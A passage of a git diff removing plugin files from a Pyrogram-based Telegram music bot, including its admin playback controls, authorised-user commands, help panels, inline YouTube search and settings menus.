Champu.utils.database import (delete_authuser, get_authuser, - get_authuser_names, - save_authuser) -from Champu.utils.decorators import AdminActual, language -from Champu.utils.formatters import int_to_alpha - -# Command -AUTH_COMMAND = get_command("AUTH_COMMAND") -UNAUTH_COMMAND = get_command("UNAUTH_COMMAND") -AUTHUSERS_COMMAND = get_command("AUTHUSERS_COMMAND") - - -@app.on_message( - filters.command(AUTH_COMMAND) - & filters.group - & ~filters.edited - & ~BANNED_USERS -) -@AdminActual -async def auth(client, message: Message, _): - if not message.reply_to_message: - if len(message.command) != 2: - return await message.reply_text(_["general_1"]) - user = message.text.split(None, 1)[1] - if "@" in user: - user = user.replace("@", "") - user = await app.get_users(user) - user_id = message.from_user.id - token = await int_to_alpha(user.id) - from_user_name = message.from_user.first_name - from_user_id = message.from_user.id - _check = await get_authuser_names(message.chat.id) - count = len(_check) - if int(count) == 20: - return await message.reply_text(_["auth_1"]) - if token not in _check: - assis = { - "auth_user_id": user.id, - "auth_name": user.first_name, - "admin_id": from_user_id, - "admin_name": from_user_name, - } - get = adminlist.get(message.chat.id) - if get: - if user.id not in get: - get.append(user.id) - await save_authuser(message.chat.id, token, assis) - return await message.reply_text(_["auth_2"]) - else: - await message.reply_text(_["auth_3"]) - return - from_user_id = message.from_user.id - user_id = message.reply_to_message.from_user.id - user_name = message.reply_to_message.from_user.first_name - token = await int_to_alpha(user_id) - from_user_name = message.from_user.first_name - _check = await get_authuser_names(message.chat.id) - count = 0 - for smex in _check: - count += 1 - if int(count) == 20: - return await message.reply_text(_["auth_1"]) - if token not in _check: - assis = { - "auth_user_id": user_id, - "auth_name": user_name, - "admin_id": from_user_id, - "admin_name": from_user_name, - } - get = adminlist.get(message.chat.id) - if get: - if user_id not in get: - get.append(user_id) - await save_authuser(message.chat.id, token, assis) - return await message.reply_text(_["auth_2"]) - else: - await message.reply_text(_["auth_3"]) - - -@app.on_message( - filters.command(UNAUTH_COMMAND) - & filters.group - & ~filters.edited - & ~BANNED_USERS -) -@AdminActual -async def unauthusers(client, message: Message, _): - if not message.reply_to_message: - if len(message.command) != 2: - return await message.reply_text(_["general_1"]) - user = message.text.split(None, 1)[1] - if "@" in user: - user = user.replace("@", "") - user = await app.get_users(user) - token = await int_to_alpha(user.id) - deleted = await delete_authuser(message.chat.id, token) - get = adminlist.get(message.chat.id) - if get: - if user.id in get: - get.remove(user.id) - if deleted: - return await message.reply_text(_["auth_4"]) - else: - return await message.reply_text(_["auth_5"]) - user_id = message.reply_to_message.from_user.id - token = await int_to_alpha(user_id) - deleted = await delete_authuser(message.chat.id, token) - get = adminlist.get(message.chat.id) - if get: - if user_id in get: - get.remove(user_id) - if deleted: - return await message.reply_text(_["auth_4"]) - else: - return await message.reply_text(_["auth_5"]) - - -@app.on_message( - filters.command(AUTHUSERS_COMMAND) - & filters.group - & ~filters.edited - & ~BANNED_USERS -) -@language -async def authusers(client, message: Message, _): - _playlist = await get_authuser_names(message.chat.id) - if not _playlist: - return await message.reply_text(_["setting_5"]) - else: - j = 0 - mystic = await message.reply_text(_["auth_6"]) - text = _["auth_7"] - for note in _playlist: - _note = await get_authuser(message.chat.id, note) - user_id = _note["auth_user_id"] - admin_id = _note["admin_id"] - admin_name = _note["admin_name"] - try: - user = await app.get_users(user_id) - user = user.first_name - j += 1 - except Exception: - continue - text += f"{j}➤ {user}[`{user_id}`]\n" - text += f" {_['auth_8']} {admin_name}[`{admin_id}`]\n\n" - await mystic.delete() - await message.reply_text(text) diff --git a/Champu/plugins/admins/callback.py b/Champu/plugins/admins/callback.py deleted file mode 100644 index b7e69da..0000000 --- a/Champu/plugins/admins/callback.py +++ /dev/null @@ -1,444 +0,0 @@ -import random - -from pyrogram import filters -from pyrogram.types import CallbackQuery, InlineKeyboardMarkup - -from config import (AUTO_DOWNLOADS_CLEAR, BANNED_USERS, - SOUNCLOUD_IMG_URL, STREAM_IMG_URL, - TELEGRAM_AUDIO_URL, TELEGRAM_VIDEO_URL, adminlist) -from Champu import YouTube, app -from Champu.core.call import Champu -from Champu.misc import SUDOERS, db -from Champu.utils.database import (is_active_chat, - is_music_playing, is_muted, - is_nonadmin_chat, music_off, - music_on, mute_off, mute_on, - set_loop) -from Champu.utils.decorators.language import languageCB -from Champu.utils.formatters import seconds_to_min -from Champu.utils.inline.play import (panel_markup_1, - panel_markup_2, - panel_markup_3, - stream_markup, - telegram_markup) -from Champu.utils.stream.autoclear import auto_clean -from Champu.utils.thumbnails import gen_thumb - -wrong = {} - - -@app.on_callback_query(filters.regex("PanelMarkup") & ~BANNED_USERS) -@languageCB -async def markup_panel(client, CallbackQuery: CallbackQuery, _): - await CallbackQuery.answer() - callback_data = CallbackQuery.data.strip() - callback_request = callback_data.split(None, 1)[1] - videoid, chat_id = callback_request.split("|") - chat_id = CallbackQuery.message.chat.id - buttons = panel_markup_1(_, videoid, chat_id) - try: - await CallbackQuery.edit_message_reply_markup( - reply_markup=InlineKeyboardMarkup(buttons) - ) - except: - return - if chat_id not in wrong: - wrong[chat_id] = {} - wrong[chat_id][CallbackQuery.message.message_id] = False - - -@app.on_callback_query(filters.regex("MainMarkup") & ~BANNED_USERS) -@languageCB -async def del_back_playlist(client, CallbackQuery, _): - await CallbackQuery.answer() - callback_data = CallbackQuery.data.strip() - callback_request = callback_data.split(None, 1)[1] - videoid, chat_id = callback_request.split("|") - if videoid == str(None): - buttons = telegram_markup(_, chat_id) - else: - buttons = stream_markup(_, videoid, chat_id) - chat_id = CallbackQuery.message.chat.id - try: - await CallbackQuery.edit_message_reply_markup( - reply_markup=InlineKeyboardMarkup(buttons) - ) - except: - return - if chat_id not in wrong: - wrong[chat_id] = {} - wrong[chat_id][CallbackQuery.message.message_id] = True - - -@app.on_callback_query(filters.regex("Pages") & ~BANNED_USERS) -@languageCB -async def del_back_playlist(client, CallbackQuery, _): - await CallbackQuery.answer() - callback_data = CallbackQuery.data.strip() - callback_request = callback_data.split(None, 1)[1] - state, pages, videoid, chat = callback_request.split("|") - chat_id = int(chat) - pages = int(pages) - if state == "Forw": - if pages == 0: - buttons = panel_markup_2(_, videoid, chat_id) - if pages == 2: - buttons = panel_markup_1(_, videoid, chat_id) - if pages == 1: - buttons = panel_markup_3(_, videoid, chat_id) - if state == "Back": - if pages == 2: - buttons = panel_markup_2(_, videoid, chat_id) - if pages == 1: - buttons = panel_markup_1(_, videoid, chat_id) - if pages == 0: - buttons = panel_markup_3(_, videoid, chat_id) - try: - await CallbackQuery.edit_message_reply_markup( - reply_markup=InlineKeyboardMarkup(buttons) - ) - except: - return - - -downvote = {} -downvoters = {} - - -@app.on_callback_query(filters.regex("ADMIN") & ~BANNED_USERS) -@languageCB -async def del_back_playlist(client, CallbackQuery, _): - callback_data = CallbackQuery.data.strip() - callback_request = callback_data.split(None, 1)[1] - command, chat = callback_request.split("|") - chat_id = int(chat) - if not await is_active_chat(chat_id): - return await CallbackQuery.answer( - _["general_6"], show_alert=True - ) - mention = CallbackQuery.from_user.mention - is_non_admin = await is_nonadmin_chat( - CallbackQuery.message.chat.id - ) - if not is_non_admin: - if CallbackQuery.from_user.id not in SUDOERS: - admins = adminlist.get(CallbackQuery.message.chat.id) - if not admins: - return await CallbackQuery.answer( - _["admin_18"], show_alert=True - ) - else: - if CallbackQuery.from_user.id not in admins: - return await CallbackQuery.answer( - _["admin_19"], show_alert=True - ) - if command == "Pause": - if not await is_music_playing(chat_id): - return await CallbackQuery.answer( - _["admin_1"], show_alert=True - ) - await CallbackQuery.answer() - await music_off(chat_id) - await Champu.pause_stream(chat_id) - await CallbackQuery.message.reply_text( - _["admin_2"].format(mention) - ) - elif command == "Resume": - if await is_music_playing(chat_id): - return await CallbackQuery.answer( - _["admin_3"], show_alert=True - ) - await CallbackQuery.answer() - await music_on(chat_id) - await Champu.resume_stream(chat_id) - await CallbackQuery.message.reply_text( - _["admin_4"].format(mention) - ) - elif command == "Stop" or command == "End": - await CallbackQuery.answer() - await Champu.stop_stream(chat_id) - await set_loop(chat_id, 0) - await CallbackQuery.message.reply_text( - _["admin_9"].format(mention) - ) - elif command == "Mute": - if await is_muted(chat_id): - return await CallbackQuery.answer( - _["admin_5"], show_alert=True - ) - await CallbackQuery.answer() - await mute_on(chat_id) - await Champu.mute_stream(chat_id) - await CallbackQuery.message.reply_text( - _["admin_6"].format(mention) - ) - elif command == "Unmute": - if not await is_muted(chat_id): - return await CallbackQuery.answer( - _["admin_7"], show_alert=True - ) - await CallbackQuery.answer() - await mute_off(chat_id) - await Champu.unmute_stream(chat_id) - await CallbackQuery.message.reply_text( - _["admin_8"].format(mention) - ) - elif command == "Loop": - await CallbackQuery.answer() - await set_loop(chat_id, 3) - await CallbackQuery.message.reply_text( - _["admin_25"].format(mention, 3) - ) - elif command == "Shuffle": - check = db.get(chat_id) - if not check: - return await CallbackQuery.answer( - _["admin_21"], show_alert=True - ) - try: - popped = check.pop(0) - except: - return await CallbackQuery.answer( - _["admin_22"], show_alert=True - ) - check = db.get(chat_id) - if not check: - check.insert(0, popped) - return await CallbackQuery.answer( - _["admin_22"], show_alert=True - ) - await CallbackQuery.answer() - random.shuffle(check) - check.insert(0, popped) - await CallbackQuery.message.reply_text( - _["admin_23"].format(mention) - ) - elif command == "Skip": - check = db.get(chat_id) - txt = f"Skipped by {mention}" - popped = None - try: - popped = check.pop(0) - if popped: - if AUTO_DOWNLOADS_CLEAR == str(True): - await auto_clean(popped) - if not check: - await CallbackQuery.edit_message_text( - f"Skipped by {mention}" - ) - await CallbackQuery.message.reply_text( - _["admin_10"].format(mention) - ) - try: - return await Champu.stop_stream(chat_id) - except: - return - except: - try: - await CallbackQuery.edit_message_text( - f"Skipped by {mention}" - ) - await CallbackQuery.message.reply_text( - _["admin_10"].format(mention) - ) - return await Champu.stop_stream(chat_id) - except: - return - await CallbackQuery.answer() - queued = check[0]["file"] - title = (check[0]["title"]).title() - user = check[0]["by"] - streamtype = check[0]["streamtype"] - videoid = check[0]["vidid"] - status = True if str(streamtype) == "video" else None - db[chat_id][0]["played"] = 0 - if "live_" in queued: - n, link = await YouTube.video(videoid, True) - if n == 0: - return await CallbackQuery.message.reply_text( - _["admin_11"].format(title) - ) - try: - await Champu.skip_stream(chat_id, link, video=status) - except Exception: - return await CallbackQuery.message.reply_text( - _["call_9"] - ) - button = telegram_markup(_, chat_id) - img = await gen_thumb(videoid) - run = await CallbackQuery.message.reply_photo( - photo=img, - caption=_["stream_1"].format( - user, - f"https://t.me/{app.username}?start=info_{videoid}", - ), - reply_markup=InlineKeyboardMarkup(button), - ) - db[chat_id][0]["mystic"] = run - db[chat_id][0]["markup"] = "tg" - await CallbackQuery.edit_message_text(txt) - elif "vid_" in queued: - mystic = await CallbackQuery.message.reply_text( - _["call_10"], disable_web_page_preview=True - ) - try: - file_path, direct = await YouTube.download( - videoid, - mystic, - videoid=True, - video=status, - ) - except: - return await mystic.edit_text(_["call_9"]) - try: - await Champu.skip_stream( - chat_id, file_path, video=status - ) - except Exception: - return await mystic.edit_text(_["call_9"]) - button = stream_markup(_, videoid, chat_id) - img = await gen_thumb(videoid) - run = await CallbackQuery.message.reply_photo( - photo=img, - caption=_["stream_1"].format( - user, - f"https://t.me/{app.username}?start=info_{videoid}", - ), - reply_markup=InlineKeyboardMarkup(button), - ) - db[chat_id][0]["mystic"] = run - db[chat_id][0]["markup"] = "stream" - await CallbackQuery.edit_message_text(txt) - await mystic.delete() - elif "index_" in queued: - try: - await Champu.skip_stream( - chat_id, videoid, video=status - ) - except Exception: - return await CallbackQuery.message.reply_text( - _["call_9"] - ) - button = telegram_markup(_, chat_id) - run = await CallbackQuery.message.reply_photo( - photo=STREAM_IMG_URL, - caption=_["stream_2"].format(user), - reply_markup=InlineKeyboardMarkup(button), - ) - db[chat_id][0]["mystic"] = run - db[chat_id][0]["markup"] = "tg" - await CallbackQuery.edit_message_text(txt) - else: - try: - await Champu.skip_stream(chat_id, queued, video=status) - except Exception: - return await CallbackQuery.message.reply_text( - _["call_9"] - ) - if videoid == "telegram": - button = telegram_markup(_, chat_id) - run = await CallbackQuery.message.reply_photo( - photo=TELEGRAM_AUDIO_URL - if str(streamtype) == "audio" - else TELEGRAM_VIDEO_URL, - caption=_["stream_3"].format( - title, check[0]["dur"], user - ), - reply_markup=InlineKeyboardMarkup(button), - ) - db[chat_id][0]["mystic"] = run - db[chat_id][0]["markup"] = "tg" - elif videoid == "soundcloud": - button = telegram_markup(_, chat_id) - run = await CallbackQuery.message.reply_photo( - photo=SOUNCLOUD_IMG_URL - if str(streamtype) == "audio" - else TELEGRAM_VIDEO_URL, - caption=_["stream_3"].format( - title, check[0]["dur"], user - ), - reply_markup=InlineKeyboardMarkup(button), - ) - db[chat_id][0]["mystic"] = run - db[chat_id][0]["markup"] = "tg" - else: - button = stream_markup(_, videoid, chat_id) - img = await gen_thumb(videoid) - run = await CallbackQuery.message.reply_photo( - photo=img, - caption=_["stream_1"].format( - user, - f"https://t.me/{app.username}?start=info_{videoid}", - ), - reply_markup=InlineKeyboardMarkup(button), - ) - db[chat_id][0]["mystic"] = run - db[chat_id][0]["markup"] = "stream" - await CallbackQuery.edit_message_text(txt) - else: - playing = db.get(chat_id) - if not playing: - return await CallbackQuery.answer( - _["queue_2"], show_alert=True - ) - duration_seconds = int(playing[0]["seconds"]) - if duration_seconds == 0: - return await CallbackQuery.answer( - _["admin_30"], show_alert=True - ) - file_path = playing[0]["file"] - if "index_" in file_path or "live_" in file_path: - return await CallbackQuery.answer( - _["admin_30"], show_alert=True - ) - duration_played = int(playing[0]["played"]) - if int(command) in [1, 2]: - duration_to_skip = 10 - else: - duration_to_skip = 30 - duration = playing[0]["dur"] - if int(command) in [1, 3]: - if (duration_played - duration_to_skip) <= 10: - bet = seconds_to_min(duration_played) - return await CallbackQuery.answer( - f"Bot is not able to seek due to total duration has been exceeded.\n\nCurrently played** {bet}** mins out of **{duration}** mins", - show_alert=True, - ) - to_seek = duration_played - duration_to_skip + 1 - else: - if ( - duration_seconds - - (duration_played + duration_to_skip) - ) <= 10: - bet = seconds_to_min(duration_played) - return await CallbackQuery.answer( - f"Bot is not able to seek due to total duration has been exceeded.\n\nCurrently played** {bet}** mins out of **{duration}** mins", - show_alert=True, - ) - to_seek = duration_played + duration_to_skip + 1 - await CallbackQuery.answer() - mystic = await CallbackQuery.message.reply_text(_["admin_32"]) - if "vid_" in file_path: - n, file_path = await YouTube.video( - playing[0]["vidid"], True - ) - if n == 0: - return await mystic.edit_text(_["admin_30"]) - try: - await Champu.seek_stream( - chat_id, - file_path, - seconds_to_min(to_seek), - duration, - playing[0]["streamtype"], - ) - except: - return await mystic.edit_text(_["admin_34"]) - if int(command) in [1, 3]: - db[chat_id][0]["played"] -= duration_to_skip - else: - db[chat_id][0]["played"] += duration_to_skip - string = _["admin_33"].format(seconds_to_min(to_seek)) - await mystic.edit_text( - f"{string}\n\nChanges done by: {mention}" - ) diff --git a/Champu/plugins/admins/mute.py b/Champu/plugins/admins/mute.py deleted file mode 100644 index 06cd7f6..0000000 --- a/Champu/plugins/admins/mute.py +++ /dev/null @@ -1,31 +0,0 @@ -from pyrogram import filters -from pyrogram.types import Message - -from config import BANNED_USERS -from strings import get_command -from Champu import app -from Champu.core.call import Champu -from Champu.utils.database import is_muted, mute_on -from Champu.utils.decorators import AdminRightsCheck - -# Commands -MUTE_COMMAND = get_command("MUTE_COMMAND") - - -@app.on_message( - filters.command(MUTE_COMMAND) - & filters.group - & ~filters.edited - & ~BANNED_USERS -) -@AdminRightsCheck -async def mute_admin(cli, message: Message, _, chat_id): - if not len(message.command) == 1 or message.reply_to_message: - return await message.reply_text(_["general_2"]) - if await is_muted(chat_id): - return await message.reply_text(_["admin_5"]) - await mute_on(chat_id) - await Champu.mute_stream(chat_id) - await message.reply_text( - _["admin_6"].format(message.from_user.mention) - ) diff --git a/Champu/plugins/admins/pause.py b/Champu/plugins/admins/pause.py deleted file mode 100644 index c02fba2..0000000 --- a/Champu/plugins/admins/pause.py +++ /dev/null @@ -1,31 +0,0 @@ -from pyrogram import filters -from pyrogram.types import Message - -from config import BANNED_USERS -from strings import get_command -from Champu import app -from Champu.core.call import Champu -from Champu.utils.database import is_music_playing, music_off -from Champu.utils.decorators import AdminRightsCheck - -# Commands -PAUSE_COMMAND = get_command("PAUSE_COMMAND") - - -@app.on_message( - filters.command(PAUSE_COMMAND) - & filters.group - & ~filters.edited - & ~BANNED_USERS -) -@AdminRightsCheck -async def pause_admin(cli, message: Message, _, chat_id): - if not len(message.command) == 1: - return await message.reply_text(_["general_2"]) - if not await is_music_playing(chat_id): - return await message.reply_text(_["admin_1"]) - await music_off(chat_id) - await Champu.pause_stream(chat_id) - await message.reply_text( - _["admin_2"].format(message.from_user.mention) - ) diff --git a/Champu/plugins/admins/resume.py b/Champu/plugins/admins/resume.py deleted file mode 100644 index b7cca69..0000000 --- a/Champu/plugins/admins/resume.py +++ /dev/null @@ -1,31 +0,0 @@ -from pyrogram import filters -from pyrogram.types import Message - -from config import BANNED_USERS -from strings import get_command -from Champu import app -from Champu.core.call import Champu -from Champu.utils.database import is_music_playing, music_on -from Champu.utils.decorators import AdminRightsCheck - -# Commands -RESUME_COMMAND = get_command("RESUME_COMMAND") - - -@app.on_message( - filters.command(RESUME_COMMAND) - & filters.group - & ~filters.edited - & ~BANNED_USERS -) -@AdminRightsCheck -async def resume_com(cli, message: Message, _, chat_id): - if not len(message.command) == 1: - return await message.reply_text(_["general_2"]) - if await is_music_playing(chat_id): - return await message.reply_text(_["admin_3"]) - await music_on(chat_id) - await Champu.resume_stream(chat_id) - await message.reply_text( - _["admin_4"].format(message.from_user.mention) - ) diff --git a/Champu/plugins/admins/shuffle.py b/Champu/plugins/admins/shuffle.py deleted file mode 100644 index 83da6a8..0000000 --- a/Champu/plugins/admins/shuffle.py +++ /dev/null @@ -1,41 +0,0 @@ -import random - -from pyrogram import filters -from pyrogram.types import Message - -from config import BANNED_USERS -from strings import get_command -from Champu import app -from Champu.misc import db -from Champu.utils.decorators import AdminRightsCheck - -# Commands -SHUFFLE_COMMAND = get_command("SHUFFLE_COMMAND") - - -@app.on_message( - filters.command(SHUFFLE_COMMAND) - & filters.group - & ~filters.edited - & ~BANNED_USERS -) -@AdminRightsCheck -async def admins(Client, message: Message, _, chat_id): - if not len(message.command) == 1: - return await message.reply_text(_["general_2"]) - check = db.get(chat_id) - if not check: - return await message.reply_text(_["admin_21"]) - try: - popped = check.pop(0) - except: - return await message.reply_text(_["admin_22"]) - check = db.get(chat_id) - if not check: - check.insert(0, popped) - return await message.reply_text(_["admin_22"]) - random.shuffle(check) - check.insert(0, popped) - await message.reply_text( - _["admin_23"].format(message.from_user.first_name) - ) diff --git a/Champu/plugins/admins/stop.py b/Champu/plugins/admins/stop.py deleted file mode 100644 index 2492b1b..0000000 --- a/Champu/plugins/admins/stop.py +++ /dev/null @@ -1,29 +0,0 @@ -from pyrogram import filters -from pyrogram.types import Message - -from config import BANNED_USERS -from strings import get_command -from Champu import app -from Champu.core.call import Champu -from Champu.utils.database import set_loop -from Champu.utils.decorators import AdminRightsCheck - -# Commands -STOP_COMMAND = get_command("STOP_COMMAND") - - -@app.on_message( - filters.command(STOP_COMMAND) - & filters.group - & ~filters.edited - & ~BANNED_USERS -) -@AdminRightsCheck -async def stop_music(cli, message: Message, _, chat_id): - if not len(message.command) == 1: - return await message.reply_text(_["general_2"]) - await Champu.stop_stream(chat_id) - await set_loop(chat_id, 0) - await message.reply_text( - _["admin_9"].format(message.from_user.mention) - ) diff --git a/Champu/plugins/admins/unmute.py b/Champu/plugins/admins/unmute.py deleted file mode 100644 index b2cb6dd..0000000 --- a/Champu/plugins/admins/unmute.py +++ /dev/null @@ -1,31 +0,0 @@ -from pyrogram import filters -from pyrogram.types import Message - -from config import BANNED_USERS -from strings import get_command -from Champu import app -from Champu.core.call import Champu -from Champu.utils.database import is_muted, mute_off -from Champu.utils.decorators import AdminRightsCheck - -# Commands -UNMUTE_COMMAND = get_command("UNMUTE_COMMAND") - - -@app.on_message( - filters.command(UNMUTE_COMMAND) - & filters.group - & ~filters.edited - & ~BANNED_USERS -) -@AdminRightsCheck -async def unmute_admin(Client, message: Message, _, chat_id): - if not len(message.command) == 1 or message.reply_to_message: - return await message.reply_text(_["general_2"]) - if not await is_muted(chat_id): - return await message.reply_text(_["admin_7"]) - await mute_off(chat_id) - await Champu.unmute_stream(chat_id) - await message.reply_text( - _["admin_8"].format(message.from_user.mention) - ) diff --git a/Champu/plugins/bot/help.py b/Champu/plugins/bot/help.py deleted file mode 100644 index 796b5fc..0000000 --- a/Champu/plugins/bot/help.py +++ /dev/null @@ -1,114 +0,0 @@ -from typing import Union - -from pyrogram import filters, types -from pyrogram.types import InlineKeyboardMarkup, Message - -from config import BANNED_USERS -from strings import get_command, get_string, helpers -from Champu import app -from Champu.misc import SUDOERS -from Champu.utils import help_pannel -from Champu.utils.database import get_lang, is_commanddelete_on -from Champu.utils.decorators.language import (LanguageStart, - languageCB) -from Champu.utils.inline.help import (help_back_markup, - private_help_panel) - -### Command -HELP_COMMAND = get_command("HELP_COMMAND") - - -@app.on_message( - filters.command(HELP_COMMAND) - & filters.private - & ~filters.edited - & ~BANNED_USERS -) -@app.on_callback_query( - filters.regex("settings_back_helper") & ~BANNED_USERS -) -async def helper_private( - client: app, update: Union[types.Message, types.CallbackQuery] -): - is_callback = isinstance(update, types.CallbackQuery) - if is_callback: - try: - await update.answer() - except: - pass - chat_id = update.message.chat.id - language = await get_lang(chat_id) - _ = get_string(language) - keyboard = help_pannel(_, True) - if update.message.photo: - await update.message.delete() - await update.message.reply_text( - _["help_1"], reply_markup=keyboard - ) - else: - await update.edit_message_text( - _["help_1"], reply_markup=keyboard - ) - else: - chat_id = update.chat.id - if await is_commanddelete_on(update.chat.id): - try: - await update.delete() - except: - pass - language = await get_lang(chat_id) - _ = get_string(language) - keyboard = help_pannel(_) - await update.reply_text(_["help_1"], reply_markup=keyboard) - - -@app.on_message( - filters.command(HELP_COMMAND) - & filters.group - & ~filters.edited - & ~BANNED_USERS -) -@LanguageStart -async def help_com_group(client, message: Message, _): - keyboard = private_help_panel(_) - await message.reply_text( - _["help_2"], reply_markup=InlineKeyboardMarkup(keyboard) - ) - - -@app.on_callback_query(filters.regex("help_callback") & ~BANNED_USERS) -@languageCB -async def helper_cb(client, CallbackQuery, _): - callback_data = CallbackQuery.data.strip() - cb = callback_data.split(None, 1)[1] - keyboard = help_back_markup(_) - if cb == "hb5": - if CallbackQuery.from_user.id not in SUDOERS: - return await CallbackQuery.answer( - "Only for Sudo Users", show_alert=True - ) - else: - await CallbackQuery.edit_message_text( - helpers.HELP_5, reply_markup=keyboard - ) - return await CallbackQuery.answer() - try: - await CallbackQuery.answer() - except: - pass - if cb == "hb1": - await CallbackQuery.edit_message_text( - helpers.HELP_1, reply_markup=keyboard - ) - elif cb == "hb2": - await CallbackQuery.edit_message_text( - helpers.HELP_2, reply_markup=keyboard - ) - elif cb == "hb3": - await CallbackQuery.edit_message_text( - helpers.HELP_3, reply_markup=keyboard - ) - elif cb == "hb4": - await CallbackQuery.edit_message_text( - helpers.HELP_4, reply_markup=keyboard - ) diff --git a/Champu/plugins/bot/inline.py b/Champu/plugins/bot/inline.py deleted file mode 100644 index 2b6f203..0000000 --- a/Champu/plugins/bot/inline.py +++ /dev/null @@ -1,74 +0,0 @@ -from pyrogram.types import (InlineKeyboardButton, - InlineKeyboardMarkup, - InlineQueryResultPhoto) -from youtubesearchpython.__future__ import VideosSearch - -from config import BANNED_USERS, MUSIC_BOT_NAME -from Champu import app -from Champu.utils.inlinequery import answer - - -@app.on_inline_query(~BANNED_USERS) -async def inline_query_handler(client, query): - text = query.query.strip().lower() - answers = [] - if text.strip() == "": - try: - await client.answer_inline_query( - query.id, results=answer, cache_time=10 - ) - except: - return - else: - a = VideosSearch(text, limit=20) - result = (await a.next()).get("result") - for x in range(15): - title = (result[x]["title"]).title() - duration = result[x]["duration"] - views = result[x]["viewCount"]["short"] - thumbnail = result[x]["thumbnails"][0]["url"].split("?")[ - 0 - ] - channellink = result[x]["channel"]["link"] - channel = result[x]["channel"]["name"] - link = result[x]["link"] - published = result[x]["publishedTime"] - description = f"{views} | {duration} Mins | {channel} | {published}" - buttons = InlineKeyboardMarkup( - [ - [ - InlineKeyboardButton( - text="🎥 Watch on Youtube", - url=link, - ) - ], - ] - ) - searched_text = f""" -❇️**Title:** [{title}]({link}) - -⏳**Duration:** {duration} Mins -👀**Views:** `{views}` -⏰**Published Time:** {published} -🎥**Channel Name:** {channel} -📎**Channel Link:** [Visit From Here]({channellink}) - -__Reply with /play on this searched message to stream it on voice chat.__ - -⚡️ ** Inline Search By {MUSIC_BOT_NAME} **""" - answers.append( - InlineQueryResultPhoto( - photo_url=thumbnail, - title=title, - thumb_url=thumbnail, - description=description, - caption=searched_text, - reply_markup=buttons, - ) - ) - try: - return await client.answer_inline_query( - query.id, results=answers - ) - except: - return diff --git a/Champu/plugins/bot/settings.py b/Champu/plugins/bot/settings.py deleted file mode 100644 index f19cead..0000000 --- a/Champu/plugins/bot/settings.py +++ /dev/null @@ -1,560 +0,0 @@ -from pyrogram import filters -from pyrogram.errors import MessageNotModified -from pyrogram.types import (CallbackQuery, InlineKeyboardButton, - InlineKeyboardMarkup, Message) - -from config import (BANNED_USERS, CLEANMODE_DELETE_MINS, - MUSIC_BOT_NAME, OWNER_ID) -from strings import get_command -from Champu import app -from Champu.utils.database import (add_nonadmin_chat, - cleanmode_off, cleanmode_on, - commanddelete_off, - commanddelete_on, - get_aud_bit_name, get_authuser, - get_authuser_names, - get_playmode, get_playtype, - get_vid_bit_name, - is_cleanmode_on, - is_commanddelete_on, - is_nonadmin_chat, - is_suggestion, - remove_nonadmin_chat, - save_audio_bitrate, - save_video_bitrate, - set_playmode, set_playtype, - suggestion_off, suggestion_on) -from Champu.utils.decorators.admins import ActualAdminCB -from Champu.utils.decorators.language import language, languageCB -from Champu.utils.inline.settings import ( - audio_quality_markup, auth_users_markup, - cleanmode_settings_markup, playmode_users_markup, setting_markup, - video_quality_markup) -from Champu.utils.inline.start import private_panel - -### Command -SETTINGS_COMMAND = get_command("SETTINGS_COMMAND") - - -@app.on_message( - filters.command(SETTINGS_COMMAND) - & filters.group - & ~filters.edited - & ~BANNED_USERS -) -@language -async def settings_mar(client, message: Message, _): - buttons = setting_markup(_) - await message.reply_text( - _["setting_1"].format(message.chat.title, message.chat.id), - reply_markup=InlineKeyboardMarkup(buttons), - ) - - -@app.on_callback_query( - filters.regex("settings_helper") & ~BANNED_USERS -) -@languageCB -async def settings_cb(client, CallbackQuery, _): - try: - await CallbackQuery.answer(_["set_cb_8"]) - except: - pass - buttons = setting_markup(_) - return await CallbackQuery.edit_message_text( - _["setting_1"].format( - CallbackQuery.message.chat.title, - CallbackQuery.message.chat.id, - ), - reply_markup=InlineKeyboardMarkup(buttons), - ) - - -@app.on_callback_query( - filters.regex("settingsback_helper") & ~BANNED_USERS -) -@languageCB -async def settings_back_markup( - client, CallbackQuery: CallbackQuery, _ -): - try: - await CallbackQuery.answer() - except: - pass - if CallbackQuery.message.chat.type == "private": - try: - await app.resolve_peer(OWNER_ID[0]) - OWNER = OWNER_ID[0] - except: - OWNER = None - buttons = private_panel(_, app.username, OWNER) - return await CallbackQuery.edit_message_text( - _["start_2"].format(MUSIC_BOT_NAME), - reply_markup=InlineKeyboardMarkup(buttons), - ) - else: - buttons = setting_markup(_) - return await CallbackQuery.edit_message_reply_markup( - reply_markup=InlineKeyboardMarkup(buttons) - ) - - -## Audio and Video Quality -async def gen_buttons_aud(_, aud): - if aud == "High": - buttons = audio_quality_markup(_, high=True) - elif aud == "Medium": - buttons = audio_quality_markup(_, medium=True) - elif aud == "Low": - buttons = audio_quality_markup(_, low=True) - return buttons - - -async def gen_buttons_vid(_, aud): - if aud == "High": - buttons = video_quality_markup(_, high=True) - elif aud == "Medium": - buttons = video_quality_markup(_, medium=True) - elif aud == "Low": - buttons = video_quality_markup(_, low=True) - return buttons - - -# without admin rights - - -@app.on_callback_query( - filters.regex( - pattern=r"^(SEARCHANSWER|PLAYMODEANSWER|PLAYTYPEANSWER|AUTHANSWER|CMANSWER|COMMANDANSWER|SUGGANSWER|CM|AQ|VQ|PM|AU)$" - ) - & ~BANNED_USERS -) -@languageCB -async def without_Admin_rights(client, CallbackQuery, _): - command = CallbackQuery.matches[0].group(1) - if command == "SEARCHANSWER": - try: - return await CallbackQuery.answer( - _["setting_3"], show_alert=True - ) - except: - return - if command == "PLAYMODEANSWER": - try: - return await CallbackQuery.answer( - _["setting_10"], show_alert=True - ) - except: - return - if command == "PLAYTYPEANSWER": - try: - return await CallbackQuery.answer( - _["setting_11"], show_alert=True - ) - except: - return - if command == "AUTHANSWER": - try: - return await CallbackQuery.answer( - _["setting_4"], show_alert=True - ) - except: - return - if command == "CMANSWER": - try: - return await CallbackQuery.answer( - _["setting_9"].format(CLEANMODE_DELETE_MINS), - show_alert=True, - ) - except: - return - if command == "COMMANDANSWER": - try: - return await CallbackQuery.answer( - _["setting_14"], show_alert=True - ) - except: - return - if command == "SUGGANSWER": - try: - return await CallbackQuery.answer( - _["setting_16"], show_alert=True - ) - except: - return - if command == "CM": - try: - await CallbackQuery.answer(_["set_cb_5"], show_alert=True) - except: - pass - sta = None - cle = None - if await is_cleanmode_on(CallbackQuery.message.chat.id): - cle = True - if await is_commanddelete_on(CallbackQuery.message.chat.id): - sta = True - sug = None - if await is_suggestion(CallbackQuery.message.chat.id): - sug = True - buttons = cleanmode_settings_markup( - _, status=cle, dels=sta, sug=sug - ) - if command == "AQ": - try: - await CallbackQuery.answer(_["set_cb_1"], show_alert=True) - except: - pass - aud = await 